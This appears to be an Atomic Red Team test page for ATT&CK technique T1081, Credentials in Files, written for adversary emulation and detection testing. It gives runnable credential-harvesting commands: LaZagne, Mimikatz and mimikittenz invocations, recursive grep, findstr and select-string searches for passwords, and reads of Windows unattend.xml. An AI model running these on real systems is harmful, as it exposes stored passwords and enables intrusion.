T1081.md

T1081 - Credentials in Files

Description from ATT&CK

Adversaries may search local file systems and remote file shares for files containing passwords. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.

It is possible to extract passwords from backups or saved virtual machines through Credential Dumping. (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)

Atomic Tests

• Atomic Test #1 - Extract Browser and System credentials with LaZagne

• Atomic Test #2 - Extract passwords with grep

• Atomic Test #3 - Runs Mimikatz & Mimikittenz by name

• Atomic Test #4 - Extracting passwords with findstr

• Atomic Test #5 - Access "unattend.xml"

Atomic Test #1 - Extract Browser and System credentials with LaZagne

LaZagne Source

Supported Platforms: macOS

Run it with sh!

python2 laZagne.py all

Atomic Test #2 - Extract passwords with grep

Extracting credentials from files

Supported Platforms: macOS, Linux

Inputs

Name	Description	Type	Default Value
file_path	Path to search	String	/

Run it with sh!

grep -ri password #{file_path}

Atomic Test #3 - Runs Mimikatz & Mimikittenz by name

Mimikatz/kittenz - This will require a Mimikatz executable or invoke-mimikittenz ps module.

Supported Platforms: Windows

Run it with powershell! Elevation Required (e.g. root or admin)

invoke-mimikittenz
mimikatz.exe

Atomic Test #4 - Extracting passwords with findstr

Extracting Credentials from Files

Supported Platforms: Windows

Run it with powershell!

findstr /si pass *.xml | *.doc | *.txt | *.xls
ls -R | select-string -Pattern password

Atomic Test #5 - Access "unattend.xml"

Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored.

Supported Platforms: Windows

Run it with command_prompt! Elevation Required (e.g. root or admin)

cmd /c type C:\Windows\Panther\unattend.xml > nul 2>&1
cmd /c type C:\Windows\Panther\Unattend\unattend.xml > nul 2>&1